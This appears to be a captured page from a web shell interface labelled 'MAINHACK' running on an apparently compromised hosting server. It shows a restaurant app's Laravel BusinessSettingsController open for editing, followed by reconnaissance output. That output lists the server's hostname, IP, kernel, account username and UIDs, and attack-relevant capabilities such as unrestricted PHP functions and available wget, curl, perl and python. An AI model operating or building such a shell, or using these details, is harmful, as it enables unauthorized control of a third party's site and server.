[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BusinessSettingsController.php
<?php namespace App\Http\Controllers\Vendor; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Models\Restaurant; use App\Models\Currency; use App\Models\BusinessSetting; use Brian2694\Toastr\Facades\Toastr; use Carbon\Carbon; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Storage; use App\CentralLogics\Helpers; class BusinessSettingsController extends Controller { private $restaurant; public function restaurant_index() { $restaurant = Helpers::get_restaurant_data(); return view('vendor-views.business-settings.restaurant-index', compact('restaurant')); } public function restaurant_setup(Restaurant $restaurant, Request $request) { $request->validate([ 'gst' => 'required_if:gst_status,1', ], [ 'gst.required_if' => trans('messages.gst_can_not_be_empty'), ]); $off_day = $request->off_day?implode('',$request->off_day):''; $restaurant->minimum_order = $request->minimum_order??0; $restaurant->opening_time = $request->opening_time; $restaurant->closeing_time = $request->closeing_time; $restaurant->off_day = $off_day; $restaurant->gst = json_encode(['status'=>$request->gst_status, 'code'=>$request->gst]); $restaurant->delivery_charge = $restaurant->self_delivery_system?$request->delivery_charge: $restaurant->delivery_charge; $restaurant->save(); Toastr::success(trans('messages.restaurant_settings_updated')); return back(); } public function restaurant_status(Restaurant $restaurant, Request $request) { if((($request->menu == "delivery" && $restaurant->take_away==0) || ($request->menu == "take_away" && $restaurant->delivery==0)) && $request->status == 0 ) { Toastr::warning(trans('messages.can_not_disable_both_take_away_and_delivery')); return back(); } $restaurant[$request->menu] = $request->status; $restaurant->save(); Toastr::success('Restaurant settings updated!'); return back(); } public function active_status(Request $request) { $restaurant = Helpers::get_restaurant_data(); $restaurant->active = $restaurant->active?0:1; $restaurant->save(); return response()->json(['message' => $restaurant->active?trans('messages.restaurant_opened'):trans('messages.restaurant_temporarily_closed')], 200); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.3 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624